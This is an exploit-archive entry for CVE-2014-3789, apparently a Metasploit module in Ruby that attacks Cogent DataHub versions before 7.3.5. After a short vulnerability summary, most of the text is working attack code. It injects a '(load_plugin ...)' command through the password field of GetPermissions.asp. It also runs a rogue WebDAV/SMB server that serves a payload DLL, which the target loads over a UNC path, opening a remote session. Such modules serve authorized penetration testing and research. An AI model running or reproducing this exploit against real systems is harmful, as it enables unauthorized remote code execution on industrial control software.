Cogent DataHub Command Injection

2014.06.25
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote # Exploitation is reliable, but the service hangs and needs manual restarting. Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize super( 'Name' => 'Cogent DataHub Command Injection', 'Description' => %q{ This module exploits an injection vulnerability in Cogent DataHub prior to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which makes insecure use of the datahub_command function with user controlled data, allowing execution of arbitrary datahub commands and scripts. This module has been tested successfully with Cogent DataHub 7.3.4 on Windows 7 SP1. }, 'Author' => [ 'John Leitch', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'References' => [ ['ZDI', '14-136'], ['CVE', '2014-3789'], ['BID', '67486'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 30, 'InitialAutoRunScript' => 'migrate -f' }, 'Targets' => [ [ 'Cogent DataHub < 7.3.5', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 29 2014' ) register_options( [ OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + '(do not change)', 80 ]), OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' + 'wait for the payload request', 20]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) ], self.class) end def autofilter false end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else vprint_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) if blacklisted_path?(request.uri) vprint_status("GET => 404 [BLACKLIST] (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if request.uri.include?(@basename) print_status("GET => Payload") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_dll({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) vprint_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=| resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end # Anything else is probably a request for a data file... vprint_status("GET => DATA (#{request.uri})") data = rand_text_alpha(4 + rand(4)) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' + + ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' + + 'LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri vprint_status("PROPFIND #{path}") if path !~ /\/$/ if blacklisted_path?(path) vprint_status "PROPFIND => 404 (#{path})" resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if path.index(".") vprint_status "PROPFIND => 207 File (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else vprint_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end vprint_status "PROPFIND => 207 Directory (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else vprint_status "PROPFIND => 207 Top-Level Directory" end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = @share_name %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 base = @basename exts = @extensions.gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{base}.#{ext}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> <D:ishidden b:dt="boolean">1</D:ishidden> </D:propstat> </D:response> | end files end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end # This method rejects requests that are known to break exploitation def blacklisted_path?(uri) share_path = "/#{@share_name}" payload_path = "#{share_path}/#{@basename}.dll" case uri when payload_path return false when share_path return false else return true end end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'), 'vars_post' => { 'username' => rand_text_alpha(4 + rand(4)), 'password' => rand_text_alpha(4 + rand(4)) } }) if res && res.code == 200 && res.body =~ /PermissionRecord/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def send_injection(dll) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'), 'vars_post' => { 'username' => rand_text_alpha(3 + rand(3)), 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + "(load_plugin \"#{dll}\" 1)(\"" } }, 1) res end def on_new_session(session) if service service.stop end super end def primer print_status("#{peer} - Sending injection...") res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll") if res print_error("#{peer} - Unexpected answer") end end def exploit if datastore['UNCPATH'].blank? @basename = rand_text_alpha(3) @share_name = rand_text_alpha(3) @extensions = "dll" @system_commands_file = rand_text_alpha_lower(4) if (datastore['SRVHOST'] == '0.0.0.0') @myhost = Rex::Socket.source_address('50.50.50.50') else @myhost = datastore['SRVHOST'] end @exploit_unc = "\\\\#{@myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + 'URIPATH=/') end print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" + "\\#{@basename}.dll") begin # The Windows Webclient needs some time... Timeout.timeout(datastore['WEBDAV_DELAY']) { super } rescue ::Timeout::Error service.stop if service end else # Using external SMB Server if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/ host = $1 share_name = $2 dll_name = $3 print_status("#{peer} - Sending injection...") res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}") if res print_error("#{peer} - Unexpected answer") end else fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + '\\\\host\\shared_folder\\base_name.dll') end end end end


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